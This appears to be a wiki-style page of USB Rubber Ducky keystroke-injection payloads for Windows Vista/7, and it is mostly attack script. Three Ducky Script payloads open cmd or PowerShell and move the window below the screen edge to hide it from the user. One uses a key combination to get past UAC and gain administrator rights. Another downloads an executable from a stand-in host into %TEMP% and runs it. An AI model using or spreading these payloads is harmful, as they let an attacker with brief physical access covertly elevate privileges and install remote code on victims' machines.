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58 lines
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The following is an example of how to hide the command window below the bottom of the screen while typing in commands. The window movement part of the script can also be used on any other window. CMD.exe is also run with some command line flags for changing the appearance of the window to make it harder to view, and also a flag that turns on delayed expansion in the command prompt which allows for variable names to be called more than once in a line with no adverse effects. Ex... SET Something = Something + Something_Else
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```
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REM Target: WINDOWS VISTA/7
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REM Encoder V2.4
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REM Using the run command for a broader OS base.
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DELAY 3000
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GUI r
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DELAY 1000
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STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
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DELAY 500
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ENTER
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DELAY 750
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ALT SPACE
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STRING M
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DOWNARROW
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REPEAT 100
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ENTER
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```
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The following is an attempt to create a hide CMD window script that uses a key combo to run as administrator when UAC is turned on.
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```
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REM Target: WINDOWS VISTA
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REM Encoder V2.4
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REM Purpose: Hide cmd window script that uses a key combo to circumvent UAC limitations.
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DELAY 3000
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CONTROL ESCAPE
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DELAY 500
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STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
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DELAY 500
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CTRL-SHIFT ENTER
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DELAY 1000
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ALT C
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DELAY 750
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ALT SPACE
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STRING M
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DOWNARROW
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REPEAT 100
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ENTER
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```
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Other windows can be hidden also, as demonstrated in this powershell hide, get, and execute.
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```
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REM Target: WINDOWS VISTA/7
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REM Encoder V2.4
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REM Using the run command for a broader OS base.
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DELAY 3000
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GUI r
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DELAY 1000
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STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"
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DELAY 500
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ENTER
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DELAY 750
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ALT SPACE
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STRING M
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DOWNARROW
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REPEAT 100
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ENTER
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```
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Windows can also be hidden on other sides of the screen ex... replace DOWNARROW with RIGHTARROW, LEFTARROW, UPARROW.
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